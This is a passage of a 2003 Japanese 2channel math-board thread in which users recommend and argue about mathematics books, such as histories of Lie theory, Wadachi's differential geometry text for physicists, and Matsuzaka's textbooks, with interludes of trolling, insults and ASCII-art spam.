> アインシュタインの部屋（上）

表題に「アインシュタイン」があったので
また，あまたある Einstein 本の1つかと思って
壊疑的に見ていたが，
意外にもいい本だった．

この本の主役は IAS とその歴代の教授たちで，
Einstein は登場人物の1人に過ぎない．

表題に「アインシュタイン」を入れたのは
出版にともなう一種の妥協だろう．
# その方がよく売れるのは事実だから

文章も上手でユーモアもある．

私が読んだ中では IAS について
最もよく書かれていると思う．
476 名前： 山崎渉 投稿日： 03/05/28 14:39: 　　　　∧＿∧
ﾋﾟｭ.ｰ　(　　＾＾）＜これからも僕を応援して下さいね（＾＾）。
　　＝〔~∪￣￣〕
　　＝ ◎――◎ 　　　　　　　　　　　　　　　　　　　　　山崎渉
477 名前： 469 投稿日： 03/05/28 20:48: > アインシュタインの部屋（上）

のネタより

研究所の所長であるケイゼン(経済学)の行う人事に
特に数学部の教授連が猛烈の反発した．

ヴェイユなどは

「ケイゼンは靴工場の話で学位をとった男だ」

と侮蔑していた．

辛らつなところはいかにもヴェイユらしい(苦笑)
478 名前： １３２人目の素数さん 投稿日： 03/05/28 20:48: あげ
479 名前： １３２人目の素数さん 投稿日： 03/05/28 20:57: A.Borel "Essays in the History of Lie Groups and Algebraic Groups" AMS & LMS(2001)

この本の翻訳出ないかな。良い本だけどな。
480 名前： １３２人目の素数さん 投稿日： 03/05/28 21:01: >>479

おもしろそう

原書でいいから読みたい
481 名前： １３２人目の素数さん 投稿日： 03/05/29 00:14: >>479
この本の表紙、かっこいい。
書評から察するにしっかりした本らしい。
ttp://www.amazon.co.jp/exec/obidos/ASIN/0821802887/qid=1054134132/sr=1-4/ref=sr_1_0_4/249-8257682-3077935
482 名前： １３２人目の素数さん 投稿日： 03/05/29 00:26: >>481
表紙の写真は上から順に、
[1]ソファス・リー
[2]エリー・カルタン
[3]？
[4]ポントリャーギン
[5]シュバレー

[3]は誰の写真なんだろう？
483 名前： １３２人目の素数さん 投稿日： 03/05/29 00:40: >>482

[3]H.ワイル
484 名前： １３２人目の素数さん 投稿日： 03/05/29 00:43: これまで数学者の肖像を表紙に使うのって
ガウス、アーベル、ガロア、ラマヌジャンぐらいだったから
ちょっと新鮮な感じ。
485 名前： １３２人目の素数さん 投稿日： 03/05/29 01:39: >>479
同じシリーズでこの本も面白そう。

C.W.Curtis "Pioneers of Representation Theory: Frobenius, Burnside, Schur, and Brauer" AMS & LMS

ttp://www.ams.org/bookstore?fn=20&arg1=hmathseries&item=HMATH-15-S

ttp://www.amazon.co.jp/exec/obidos/ASIN/0821890026/qid=1054139764/br=3-18/br_lfncs_fb_18/249-8257682-3077935
486 名前： １３２人目の素数さん 投稿日： 03/05/29 01:45: >>485
こっちの表紙の４人の写真、誰も知らなかった。
ウトゥー楕氏脳。
487 名前： １３２人目の素数さん 投稿日： 03/05/29 02:01: >>485
> 同じシリーズでこの本も面白そう。
> C.W.Curtis "Pioneers of Representation Theory: Frobenius, Burnside, Schur, and Brauer" AMS & LMS
こっちのほうは原田先生の書評が｢数学のたのしみ 30」にのってる。
なんか最近数学板は「表現論」関連がすごく hot ですね。
488 名前： １３２人目の素数さん 投稿日： 03/05/29 03:22: >>487
有難う御座います。載ってました。
フロベニウス対バーンサイドのライバル物語が前半のハイライトの様ですね。
高木貞治「近世数学史談」でのアーベル対ヤコビの物語の様にスリリングな
話なんでしょうね。
こういうライバル関係って美しいものなら小説よりも感動しますね。
高校生や大学１，２年で読むと本当は良いんでしょうね（ｗ
489 名前： １３２人目の素数さん 投稿日： 03/05/29 03:44: >>479の方は注文できるけど、>>485の方は在庫切れで注文できない（涙
490 名前： １３２人目の素数さん 投稿日： 03/05/29 10:33: 完全数である496をgetしたいのでもう少しスレを進めてもらえませんか？
491 名前： １３２人目の素数さん 投稿日： 03/05/29 19:10: ヨストのポストモダン解析学どうよ
492 名前： １３２人目の素数さん 投稿日： 03/05/29 20:01: 今さら解析でもねーだろ
あほたれ
493 名前： １３２人目の素数さん 投稿日： 03/05/29 20:14: Re:491
http://www.geocities.co.jp/Technopolis-Mars/7997/171.html
を見てみると………
494 名前： １３２人目の素数さん 投稿日： 03/05/29 22:06: >>493
おまえはＱウザか？
495 名前： １３２人目の素数さん 投稿日： 03/05/29 23:26: >>493
そこに書いてある >>79 の情報は作り話。つまり真っ赤なウソ

解析学の基本から、ソボレフ空間、偏微分方程式までコンパクトに
書いてある良い本だとは思うけど、なんせあのページにそれだけの内容を
詰め込んだものだから、初習者にとってはハードかも。
むしろ、ルベーグ積分か関数解析の初歩を学んだ人が、
過去に学んだ内容をまとめつつ、その先にある応用を手軽に知るのに良さそうな構成。
496 名前： １３２人目の素数さん 投稿日： 03/05/29 23:37: 493のリンク先のデタラメ書いた馬鹿は何が目的だったんだろうな。
ヨストは結構イイと思うけどな。
497 名前： １３２人目の素数さん 投稿日： 03/05/30 02:21: ＿＿＿＿＿＿＿＿.　 |　　・・・｢からけ｣？
|||　　　　　　　　　　｜　＼＿＿＿＿　＿＿
|||　　　　　　　　　　｜　 )＼　　　 ∨
||| 　　空　気.　　＜⌒ヽ　ヽ
|||　　　　　　　　　＼（　´ー｀）　　　 ∧∧
|||＿＿＿＿＿＿___V(　　丿Ｖ^ 　●Дﾟ,,)
|,,|　　　　　　　　　 |,,| ヽ　（　　　　と　　,）
　　　　　　　　　　　　　ﾉ　）　　　　　|　>>491-496|～
　　　　　　　　　　　 ∧ 　　　　　　.し`Ｊ,,.
￣￣￣￣￣￣￣￣　￣￣￣＼
　空気読めてないよ･･･
498 名前： １３２人目の素数さん 投稿日： 03/05/30 14:09: 物理板できいたら数学板できけと言われてきました。

岩波の理工系の基礎数学１０「微分・位相幾何」和達著
ってのが凄くいいと聞いたんで検索したんですけど目次がのってなくて
内容がわからないんです。この分野の本が一冊欲しいので、どなたか
本の内容、書評などお願いします！
499 名前： １３２人目の素数さん 投稿日： 03/05/30 15:06: >>498
物理板で訊け。
500 名前： １３２人目の素数さん 投稿日： 03/05/30 15:32: >>498
http://science.2ch.net/test/read.cgi/sci/1052852419/299-303
こっちで訊けって言ってるんじゃなくて、
こっちの過去スレ読めって言ってるじゃんよ。

http://cheese.2ch.net/sci/kako/977/977769530.html
たぶん、このスレあたりを読めって言ってるんだろう。
501 名前： １３２人目の素数さん 投稿日： 03/05/30 15:54: >>498

それは物理の本だよ

数学科の人でまともな人なら
そんなのまじめには読まないよ
502 名前： _ 投稿日： 03/05/30 15:58: http://homepage.mac.com/hiroyuki43/hankaku06.html
503 名前： 491 投稿日： 03/05/30 20:31: >>493　>>495　>>496
ありがとうございます。教育実習が終わったら生協で注文します。でつでつ
504 名前： １３２人目の素数さん 投稿日： 03/05/30 20:37: 絶対カシミール元
ｷﾀ━━━━┃┓━≡┃┓━≡━┏┃≡━┏┃━━━━ｯ!!!!
505 名前： １３２人目の素数さん 投稿日： 03/05/30 20:46: >>504
物理でカシミール効果ってあるけど
関係あるのかな？
506 名前： １３２人目の素数さん 投稿日： 03/05/31 00:43: >>501はシッタカ
507 名前： １３２人目の素数さん 投稿日： 03/05/31 00:47: >>506

じゃ，おまえは

岩波の理工系の基礎数学１０「微分・位相幾何」和達著

で微分位相幾何を勉強する気がするか？

おれはしない
508 名前： _ 投稿日： 03/05/31 00:50: http://homepage.mac.com/hiroyuki43/hankaku10.html
509 名前： １３２人目の素数さん 投稿日： 03/05/31 01:25: 松坂さんの本って絶版になったの？図書館行ったらありえないぐらい古くて今
にも壊れそうだったので、読める本を買おうと思ったんだけど。
510 名前： １３２人目の素数さん 投稿日： 03/05/31 02:08: >>509
松坂のどれよ？
511 名前： １３２人目の素数さん 投稿日： 03/05/31 06:08: http://www.fukkan.com/vote.php3?no=8526
512 名前： １３２人目の素数さん 投稿日： 03/05/31 06:18: 　～
　～　　　 ∧＿∧　　　　／￣￣￣￣￣￣￣￣￣￣￣￣
　　　　　（´∀｀　） / |＜　ここで、松坂について
　 ~　⊂ へ　 ∩）./　 |　|　　確認しておきたいと思います
　　　i'''（＿） i'''i￣,,,,,,/　＼＿＿＿＿＿＿＿
　　　￣（＿）||￣￣
　　　　　　　　１０，０００ﾓﾅｰ
　　. ＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿__
─＜　松坂といえば？　　　　　　　　＞─
　　　￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
A. 線型代数入門（岩波書店）
B. 解析入門（岩波書店）
C. 集合位相入門（岩波書店）
D. 牛肉
513 名前： １３２人目の素数さん 投稿日： 03/05/31 06:28: >>509,>>510,>>512
B.とC.はまだ入手可能。（代数系も入手可能）
D.はありえないから（ｗ
答えはA.松坂和夫「線型代数入門」岩波書店
514 名前： １３２人目の素数さん 投稿日： 03/05/31 06:48: >>513
いい人だ、君は。
515 名前： １３２人目の素数さん 投稿日： 03/05/31 06:50: >>512
E. 代数系入門(岩波書店)
っていうのは嘘で、私的には
C. 集合位相入門(岩波書店)
なんだが、>>509が言ってるのは
A. 線型代数入門(岩波書店)
なんだろうと思いきや
集合位相は Amazon では在庫切れになってるのでこっちかも?
http://www.amazon.co.jp/exec/obidos/ASIN/4000054244/
でも、岩波のページの方ではまだ買えそうだな…
http://www.iwanami.co.jp/.BOOKS/00/4/0054240.html
516 名前： １３２人目の素数さん 投稿日： 03/05/31 06:51: かぶった…。しかも22分も前だ…。
517 名前： １３２人目の素数さん 投稿日： 03/05/31 07:26: 「数学を知らない人のための妥協」をしてないゲーム理論の本ってどれがいいのでしょ?

ゲーム理論岡田章有斐閣
http://www.amazon.co.jp/exec/obidos/ASIN/4641067945/
日本語だとこれぐらいなんでしょうか? ちょっと高いのですが…。

ゲーム理論入門鈴木光男
http://www.kyoritsu-pub.co.jp/shinkan/shin0302_04.html
はちょっと妥協してそうな感じがします。

"A Course in Game Theory" Martin J. Osborne, Ariel Rubinstein
http://www.amazon.co.jp/exec/obidos/ASIN/0262650401/
"Game Theory: Analysis of Conflict" Roger B. Myerson
http://www.amazon.co.jp/exec/obidos/ASIN/0674341163/
洋書だとこのへん?

他になにかないでしょうか?
518 名前： １３２人目の素数さん 投稿日： 03/05/31 08:03: ゲーム理論なんて数学じゃねーだろ

ゲーム板に逝け
519 名前： 直リン 投稿日： 03/05/31 08:23: http://homepage.mac.com/yuuka20/
520 名前： １３２人目の素数さん 投稿日： 03/05/31 08:57: >>518
数学とは何かと小一時間（ｒｙ
521 名前： １３２人目の素数さん 投稿日： 03/05/31 09:13: 少なくともゲーム板じゃねーだろとマジレスしてみる
522 名前： １３２人目の素数さん 投稿日： 03/05/31 09:22: ＞＞520
藻前は何者かと小一時間（ｒｙ
523 名前： １３２人目の素数さん 投稿日： 03/05/31 09:41: Calculus
James Stewart
http://www.amazon.co.jp/exec/obidos/ASIN/053413212X/
↑
この本は何でこんなに安いの？
995pでハードカバーなのに￥312て・・・・安すぎる
事情を知ってる人は教えて
524 名前： １３２人目の素数さん 投稿日： 03/05/31 09:48: ちなみに523の本はアメリカの主要大学で
初年度に使われている教科書
525 名前： １３２人目の素数さん 投稿日： 03/05/31 10:31: 経済入門に最適な本は？
http://money.2ch.net/test/read.cgi/eco/1004331629/

結構ゲーム理論のネタがあった
526 名前： １３２人目の素数さん 投稿日： 03/05/31 11:29: >>523
たぶん入力ミスだと思うけど…
うふふ、注文してみようかな
527 名前： １３２人目の素数さん 投稿日： 03/05/31 11:45: amazonってさー
大分前洋書頼んだんだけど
それがね
アマゾンの入力ミスのおかげで500円ほど損した
うぜーよ
たぶん>>523の本買ったら
9000円ぐらい払わされるよ
528 名前： １３２人目の素数さん 投稿日： 03/05/31 12:36: どこから9000円？
529 名前： １３２人目の素数さん 投稿日： 03/05/31 12:42: 「微分位相幾何」と「微分・位相幾何」は違うと思うんだけどな。>>507

（「代数幾何」と「代数・幾何」は違うだろ）
530 名前： １３２人目の素数さん 投稿日： 03/05/31 12:50: >>529

それが今の問題の本質じゃないだろ
531 名前： 498 投稿日： 03/05/31 14:58: 過去ログ全て読んだのですが、やはり目次がないと内容がわかりません。
「微分・位相幾何」に関するレスも確かにありましたが、具体的な内容に
触れていないのでよくわかりませんでした。
図書館にも近くの本屋にもないので、どなたか目次か内容、コメントを
お願い致します！
532 名前： １３２人目の素数さん 投稿日： 03/05/31 15:01: >>531

だから，それは物理の本だっての
物理板でそういえば
533 名前： １３２人目の素数さん 投稿日： 03/05/31 15:01: >>531
出版社とかオンライン書店で調べろよ。
なんでそんなことも自分で出来ないの?
534 名前： １３２人目の素数さん 投稿日： 03/05/31 15:11: A.Borel
"Essays in the History of Lie Groups and Algebraic Groups"
AMS & LMS(2001)

ttp://www.amazon.co.jp/exec/obidos/ASIN/0821802887/qid=1054134132/sr=1-4/ref=sr_1_0_4/249-8257682-3077935

表紙の写真は上から順に、
[1]ソファス・リー
[2]エリー・カルタン
[3]H.ワイル
[4]ポントリャーギン
[5]シュバレー

高木貞治「近世数学史談」
アーベル対ヤコビ

C.W.Curtis "Pioneers of Representation Theory"
フロベニウス対バーンサイド
他に、シューアの話がある。その代数的表現論の研究がワイルに影響を与え、
カルタンの幾何学的リー理論と統合するというアイデアへと続いていく。
535 名前： １３２人目の素数さん 投稿日： 03/05/31 16:00: >>532
だからお前はバカだって言ってるんだよ
理解のヒントになるなら物理だ数学だなんて関係無いだろ
536 名前： １３２人目の素数さん 投稿日： 03/05/31 16:10: >>530=>>532-533
知らねぇならしゃしゃり出てくんなよシッタカが
537 名前： １３２人目の素数さん 投稿日： 03/05/31 16:23: >>535 = >>536 = 質問してるやつ

うるせんだよ，ド素人が

ヴァカはてめーだクソ
538 名前： １３２人目の素数さん 投稿日： 03/05/31 16:33: 和達三樹「微分・位相幾何」
1.基本的なことがら
2.微分形式
3.多様体
4.ホモトピー群
5.多様体上の積分
6.微分幾何学
7.ファイバー束
8.ホモロジー群とコホモロジー群
539 名前： １３２人目の素数さん 投稿日： 03/05/31 16:33: またこいつか>>537
いい加減アク禁にならねぇかな
こいつの基地外カキコでまともなレスが埋もれちゃうんだよ
540 名前： １３２人目の素数さん 投稿日： 03/05/31 16:37: >>498
岩波の理工系の基礎数学シリーズは主に物理科を対象にしていて
工学部なども利用できるシリーズですが数学科向けではありません。
岩波からは別に３つのシリーズが数学科向けに出ています。
「現代数学への入門」「現代数学への基礎」「現代数学への展開」の３シリーズです。
「現代数学への基礎」の中に微分幾何や位相幾何の本があるので見てみると良いでしょう。

岩波の理工系の基礎数学シリーズは数学科の人から見ると厳密性に欠けていて良い本には見えませんが、
物理科の人にとっては厳密性を犠牲にするだけの価値がある実用的な説明があるのかもしれません。

そこら辺を見比べてみてはどうですか？
個人的な感想では、理工系の基礎数学シリーズは分かり難い本だと思います。
541 名前： １３２人目の素数さん 投稿日： 03/05/31 16:57: >>539

空気読め

ヴァーーーーーーカ
542 名前： １３２人目の素数さん 投稿日： 03/05/31 16:57: >>498

＞岩波の理工系の基礎数学１０「微分・位相幾何」和達著
＞ってのが凄くいいと聞いたんで

どういう点が凄くいいと言ったのか、誰がどういう立場で言ったのか、
書かないから荒れるんですよ。

少なくとも、数学板で和達「微分・位相幾何」が「凄くいいと聞いた」と
書いたら、まともなレスは少ないと思いますよ。
数学ではじっくりした名著を時間をかけて読むことのほうが大切です。
そういう本は、何十年たっても、専門が異なっても、数学科の人間なら
読んで何かを得ることができる、普遍的な存在だからです。

和達みたいな、数学科以外の人が手っ取り早く勉強したい、という感じの
本は、自分で手にとって、合うかどうかは自分で判断してください。
それは、あなたが何を知りたいかによって決まります。
543 名前： １３２人目の素数さん 投稿日： 03/05/31 17:01: >>523
--このレビューは、同タイトルのハードカバーのレビューから転載されています。
ってとこが二ヵ所あるが、上のほうを開くと、￥16,148 で 10p の本が…。
http://www.amazon.co.jp/exec/obidos/ASIN/053439339X/
これは 5th で 2002/12/20 に出たようだけど、
4th の 1999/05/21 に出たので￥6,615 で 1185p となってるのもあるね。
http://www.amazon.co.jp/exec/obidos/ASIN/0534359493/

>>533
岩波のページにも、Amazon や bk1 にも目次載ってないよ。
>>498にも検索したけど目次載ってないって書いてるし。
俺も目次載ってなくて困ることがよくある。
とくに岩波のやつ(載ってるのもあるけど)。
裳華房みたいに Web に目次全部載せてほすぃ。
544 名前： １３２人目の素数さん 投稿日： 03/05/31 17:08: > どういう点が凄くいいと言ったのか、誰がどういう立場で言ったのか、
> 書かないから荒れるんですよ。

いや、荒れるのはここに(以下略)
545 名前： １３２人目の素数さん 投稿日： 03/05/31 17:19: 　　　　　　　　　∧＿∧ 　　長渕キックでも食らえや
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　　　　　　　　/　 /　　　　　　　／　／| 　| ←>>535 = >>536 = 質問してるやつ
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　　　　　ヽ､＿ヽ
546 名前： １３２人目の素数さん 投稿日： 03/05/31 17:24: >>540や>>542のようなレスを貰っておいて
感謝するでもなく>>544のようなレスを返すか、普通？

こんな礼儀知らずは報知しゅる。
547 名前： 544 投稿日： 03/05/31 17:38: >>546
あのー、漏れは質問した奴とは別人なんで…。

まあ、勘違いされても漏れは困らんので別にいいんだが…。
548 名前： 531 投稿日： 03/05/31 17:50: 物理系の本だと知っていながら質問したんです。
近くに大型書店がないものですから。
質問に答えてくださった方々、どうもありがとうございます。
参考になりました。
一応言っておきますと、>>535-536さんは俺じゃないので・・・
549 名前： １３２人目の素数さん 投稿日： 03/05/31 17:52: 　　　　　　　　　∧＿∧ 　　長渕キックでも食らえや
　　　　　　　　_（　´_ゝ｀）
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　　　｜　!　ヽ　　ｰ＝-￣￣＝_、　　（／　,　´ノ
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　　　 !、ﾘ　　-=＿二＿＿￣_=;,　／　／　,'
　　　　　　　　/　 /　　　　　　　／　／| 　| ←>>531 = 質問してるやつ
　　　　　　／　 /　　　　　　　!､＿／ / 　〉
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　　　　　ヽ､＿ヽ
550 名前： １３２人目の素数さん 投稿日： 03/05/31 18:04: >>545=>>549
一応通報しておきました
プロバイダごとアクセス禁止になったらどういう事になるかしってるよね？
551 名前： １３２人目の素数さん 投稿日： 03/05/31 18:16: >>501 = >>507 = >>530 = >>532 = >>537 = >>541 = >>545 = >>549
= 「、」でなく「，」を使い、基本的にsageない人

と

>>506 = >>535-536 = >>539 = 句読点を使わず、基本的にsageな人

が荒れる原因でつか？
552 名前： １３２人目の素数さん 投稿日： 03/05/31 18:17: >>550も「句読点を使わず、基本的にsageな人」かな。
553 名前： 550 投稿日： 03/05/31 18:21: >>552
違う
554 名前： 517 投稿日： 03/05/31 18:24: >>518-522
http://science.2ch.net/test/read.cgi/math/1047634915/l50
こっちに書こうかとも思ったのですが…

>>525
さんくす。
555 名前： １３２人目の素数さん 投稿日： 03/05/31 19:03: 出版社の傾向とか教えてくれ
岩波とか東大出版会とか
556 名前： １３２人目の素数さん 投稿日： 03/05/31 20:14: 　　　　　　　　　∧＿∧ 　　長渕キックでも食らえや
　　　　　　　　_（　´_ゝ｀）
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　　　　　　　　/　 /　　　　　　　／　／| 　| ←>>550
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　　　　　ヽ､＿ヽ
557 名前： １３２人目の素数さん 投稿日： 03/05/31 20:26: このスレ粘着が住んでいるね
558 名前： １３２人目の素数さん 投稿日： 03/05/31 21:00: >> 551
下手なプロファイルやって等号が間違ってたりすると
また新たな憤りレスを呼び込む事になるから程々に．

>>556
‥‥
559 名前： １３２人目の素数さん 投稿日： 03/05/31 21:02: 　　　　　　　∧＿∧ 　　長渕キックでも食らえや
　　　　　　　　_（　´_ゝ｀）
　　　　　　／　　　　　　）　　　　　　　　　　　＿　　　　　_
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　　　｜　!　ヽ　　ｰ＝-￣￣＝_、　　（／　,　´ノ
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　　　　　ヽ､＿ヽ
560 名前： １３２人目の素数さん 投稿日： 03/05/31 21:05: 　　　　　　　∧＿∧
　　　　　　　　_（　´_ゝ｀）
　　　　　　／　　　　　　）
561 名前： １３２人目の素数さん 投稿日： 03/05/31 21:11: このスレ基地外>>559に取憑かれてるね
562 名前： １３２人目の素数さん 投稿日： 03/05/31 21:33: 　　　　　　　∧＿∧ 　　長渕キックでも食らえや
　　　　　　　　_（　´_ゝ｀）
　　　　　　／　　　　　　）　　　　　　　　　　　＿　　　　　_
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　　　　　ヽ､＿ヽ
563 名前： １３２人目の素数さん 投稿日： 03/05/31 21:35: 　　　　　∧＿∧ 　　長渕キックでも食らえや
　　　　　　　　_（　´_ゝ｀）
　　　　　　／　　　　　　）　　　　　　　　　　　＿　　　　　_
　　　　　/　,ｲ　、　　ﾉ/　　　　∧ ∧―＝￣　｀ヽ,　＿
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　　　　　ヽ､＿ヽ
564 名前： １３２人目の素数さん 投稿日： 03/05/31 21:38: >>559 >>562-563
ズラずれてるぞ
565 名前： １３２人目の素数さん 投稿日： 03/05/31 21:47: 　　 /二二ヽ
　　||・ω・||　　＜>>563が傍に来ると，強烈に饐えたニオイがする。
　　ノ/　 / >　　　＜ >>563が傍に来ると，強烈に饐えたニオイがする。
　　ノ￣ゝ
566 名前： あぼーん 投稿日：あぼーん: あぼーん
567 名前： あぼーん 投稿日：あぼーん: あぼーん
568 名前： あぼーん 投稿日：あぼーん: あぼーん
569 名前： １３２人目の素数さん 投稿日： 03/05/31 23:08: 自作自演だけは止めてね。
570 名前： あぼーん 投稿日：あぼーん: あぼーん
571 名前： あぼーん 投稿日：あぼーん: あぼーん
572 名前： １３２人目の素数さん 投稿日： 03/05/31 23:19: そろそろ新しい話題とか振ってくれ。
別にどんな状況で質問したってレスしやすいのはレスしてもらえるし、
レスしにくいレスはどうあがいても答えてもらえないんだから
安心して質問しておくれ。
573 名前： １３２人目の素数さん 投稿日： 03/05/31 23:29: 次世代のワイルズとかいう厨房は、
吉田洋一でも小平邦彦でもアルフォースでもいいから、
アク禁になってる間にちゃんと複素解析を勉強汁！

で、恥を感じたら、もう来るな。
574 名前： １３２人目の素数さん 投稿日： 03/05/31 23:38: >>526
http://www.deodeo.com/book/bargain/bargain2.html
↑
ここでも
CALCULUS
STEWART, JAMES
$10→$3
となっている。
アマゾンの入力ミスではないと思うよ
575 名前： １３２人目の素数さん 投稿日： 03/06/01 01:24: 　　　　　　　∧＿∧ 　　長渕クッキーでも食えや
　　　　　　　　_（　´_ゝ｀）
　　　　　　／　　　　　　）　　　　　　　　　　　＿　　　　　_
　　　　　/　,ｲ　、　　ﾉ/　　　　∧ ∧―＝￣　｀ヽ,　＿
　　　　/　/　|　　　（〈　∵. ・（　　〈＿_　>　　゛　、＿―
　　　｜　!　ヽ　　ｰ＝-￣￣＝_、　　（／　,　´ノ
　　　｜ |　　　｀iー＿＿＝―＿　;,　／　／／　
　　　 !、ﾘ　　-=＿二＿＿￣_=;,　／　／　,'
　　　　　　　　/　 /　　　　　　　／　／| 　| ←>>561
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　　　　　／＿/　　　　　　　　　　　　 |_／
　　　　　ヽ､＿ヽ
576 名前： さらしあげ 投稿日： 03/06/01 01:30: 56 ：そ：03/05/31 23:13 HOST:E218222201068.ec-userreverse.dion.ne.jp
http://science.2ch.net/test/read.cgi/math/1052130097/
545 549 556 590-591 562-563 566-568 570
AAコピペによる荒らし

削除お願い致します
577 名前： １３２人目の素数さん 投稿日： 03/06/01 01:38: An introduction to noncommutative spaces and their geometries(Landi)を読んだ。
Noncommutative geometry(Connes)の方にしとけば良かったなぁ、とちょと後悔。
578 名前： １３２人目の素数さん 投稿日： 03/06/01 03:30: Calculus: Concepts and Contexts
by James Stewart
http://www.amazon.com/exec/obidos/tg/detail/-/0534377181/

高校生向けなのか。しかも、評判悪いね。

http://www.amazon.co.uk/exec/obidos/ASIN/053413212X/

これは1992年に出たようだが、その後新しい版もいっぱい出てるし、
売れ残ってるのを叩き売りしてるんじゃないか。

入力ミスではないってのが正解かも。
579 名前： １３２人目の素数さん 投稿日： 03/06/01 03:36: >>577
変形量子化と非可換幾何学の関係や量子群、楕円量子群についても記述がある本
ってあるんでしょうか？
Ref.から何かわかればお願いします。
580 名前： 次世代のワイルズ 投稿日： 03/06/01 04:06: >>573

おれは複素解析バリバリだが，何か？
581 名前：投稿日： 03/06/01 13:11: >>580
バリバリの意味はやぶれかぶれっていう意味ですよね。
以下参照
434 ：次世代のワイルズ：03/05/22 22:11
＞だから>>1にはリーマン予想の意味が理解できないんだってば。

ζ関数はRe=1/2上で恒等にゼロになる。
自分が理解できないからって僻むなよ！
582 名前： １３２人目の素数さん 投稿日： 03/06/01 18:35: 次世代のワイルズは「，．」でなく「、。」を使ってた気がする。
583 名前： １３２人目の素数さん 投稿日： 03/06/01 19:06: 無茶言うな。次世代のワイルズに中の人が何人いると思ってんだ
584 名前： １３２人目の素数さん 投稿日： 03/06/01 19:50: 5人ぐらいじゃないの？
585 名前： _ 投稿日： 03/06/01 19:51: http://homepage.mac.com/hiroyuki43/jaz09.html
586 名前： １３２人目の素数さん 投稿日： 03/06/01 21:23: >>583
しかしまあ、>>580は比較的新しい中の人ってこったろ。
587 名前： １３２人目の素数さん 投稿日： 03/06/01 21:30: うーもうついてくるなー
588 名前： １３２人目の素数さん 投稿日： 03/06/01 21:58: チャート式が一番じゃないのか？
589 名前： １３２人目の素数さん 投稿日： 03/06/01 22:14: 新課程対応の問題集で東大、京大レベルまで対応してるのは何？
590 名前： １３２人目の素数さん 投稿日： 03/06/01 22:20: ＞580
何の複素函数の本を読みました？
591 名前： １３２人目の素数さん 投稿日： 03/06/01 23:14: アミノ式が一番!
592 名前： １３２人目の素数さん 投稿日： 03/06/01 23:56: >>531がまだ居るかわからんけどレス。
「微分・位相幾何」は東大の物理学科３年生に対しての物理数学の授業がもとになっていたと思う。
物理の生徒に数学科の幾何学とはいかなるものかを紹介するような本。
一回生でも２００時間掛ければ読める。ただし厳密さが無いため完璧な理解は不可能。
当時物理志望だった漏れは、この本で微分形式、ホッジスター、ゲージ理論の幾何学的解釈
などを知って感動し、数学に転向した。
現在は、この本の完璧な理解を目指し多様体などの勉強をしている。
593 名前： １３２人目の素数さん 投稿日： 03/06/02 01:41: >>592
>>531ではないのですが、紹介と質問です。

数学科の本では
小林昭七「接続の微分幾何とゲージ理論」裳華房
が微分形式、ホッジスター、ゲージ理論の幾何学的解釈を扱っています。
この本ではファイバー束、特性類、葉層構造、モジュライ空間などを導入して
ヤンミルズ接続を解説していますが、「微分・位相幾何」でも
これらの概念を扱っているんでしょうか？
594 名前： １３２人目の素数さん 投稿日： 03/06/02 05:45: 葉層構造、モジュライ空間は説明しとらん

数学でのゲージ理論って物理的になんか新しい結果出せるんすか？
いや、なんか記述する道具の整備してるだけみたいなんだが・・
595 名前： 592 投稿日： 03/06/02 09:46: >>594に追加して言えば、特性類は扱っているが、無いに等しい。
「接続の微分幾何とゲージ理論」は見た感じ微分幾何を学んだことないと読めない感じがした。
こういう結論でいい？
「微分・位相幾何」：多様体すら知らない物理志向の学生に幾何学の大切さを教える。
「接続の微分幾何とゲージ理論」：数学科３年修了程度の学力を持った学生にゲージ理論の面白さを教える。

>>594
素人考えだが、物理のゲージ理論では法則が得られたら満足、
数学のゲージ理論ではその幾何学的意義を模索、みたいな感じじゃない？
596 名前： １３２人目の素数さん 投稿日： 03/06/02 09:51: Tom M. ApostolのCalculus
One- Variable Calculus, with an Introduction to Linear Algebra

持ってる人っているかな？どんな風に使ってるかいろいろ情報ｷﾎﾞﾝ
597 名前： １３２人目の素数さん 投稿日： 03/06/02 13:44: 今月の岩波の新刊よりコピペ

新感覚物理入門
―― 力学・電磁気学の新しい考え方 ――
今井　弘一

■体裁＝A5判・並製・カバー・200頁
■本体 2,500円（未刊）
■2003年6月26日
■ISBN4-00-005451-1 C0342

--------------------------------------------------------------------------------
古典物理学のむずかしさに疑問をもった著者が，ニュートン，マクスウェル
以来の伝統を問い直す．「力」というあいまいな概念を排し日常感覚から
理解しやすい質量や運動量などの保存則を基礎として，力学・電磁気学に
統一した見方を与える新体系を提案する．物理を学んだがどうもすっきり
しないという方にすすめる画期的1冊．
598 名前： １３２人目の素数さん 投稿日： 03/06/02 16:44: >597 (;ﾟдﾟ) あの今井、、、？
599 名前： １３２人目の素数さん 投稿日： 03/06/02 16:47: 1ぬけ
600 名前： １３２人目の素数さん 投稿日： 03/06/02 16:49: >>597
今井　功さんですね。
この方は流体力学とかですごく有名ですけね。
ところで、数学の人でも物理の本を読んだりします?
アーノルドの本などはすごく有名ですが。
601 名前： １３２人目の素数さん 投稿日： 03/06/02 16:59: ＞今井　功さんですね。

違う。

>>598
たぶんな・・。著者が石川県在住ってとこまでわかった。
602 名前： １３２人目の素数さん 投稿日： 03/06/02 17:27: >>597
いかにも今井が言いそうなことが書いてあるな（ｗ
603 名前： １３２人目の素数さん 投稿日： 03/06/02 17:33: 一瞬マジあせった（--；）

新感覚物理入門力学・電磁気学の新しい考え方

今井功岩波書店
質量や運動量などの保存則のもとに、力学・電磁気学に統一した直感的な考え方を提案。
Ａ５／2,500円６月26日 ISBN4-00-005451-1
604 名前： １３２人目の素数さん 投稿日： 03/06/02 17:38: >>601
１９５２年　新潟大学理学部数学科入学
１９５６年　同　　中退　その後、中学教諭を経て塾講師を現在まで勤める。
　　　　　　　　　　　　その他インターネットを通じての数学教育に力を注ぐ。
605 名前： １３２人目の素数さん 投稿日： 03/06/02 17:43: >>604

今井弘一って新潟大だったの？
ホント？

なのになんであんなにデンパなの？
606 名前： １３２人目の素数さん 投稿日： 03/06/02 17:45: 絶対にありえないと思いつつ、岩波のサイトに確認しに行った自分に鬱
607 名前： １３２人目の素数さん 投稿日： 03/06/02 17:46: 金沢教育大学なのでは？
608 名前： １３２人目の素数さん 投稿日： 03/06/02 17:50: 全国の今井さんにご同情申し上げます（藁
609 名前： １３２人目の素数さん 投稿日： 03/06/02 17:55: >>605
自分のホムぺにそう書いてあった気がする。
610 名前： １３２人目の素数さん 投稿日： 03/06/02 18:23: >>597, 601-602
いくらネタでも、昭和63年に文化勲章を受章された今井功先生に失礼かと。

「等角写像とその応用」岩波書店, 1979
「応用超関数論」1, 2. サイエンス社1981
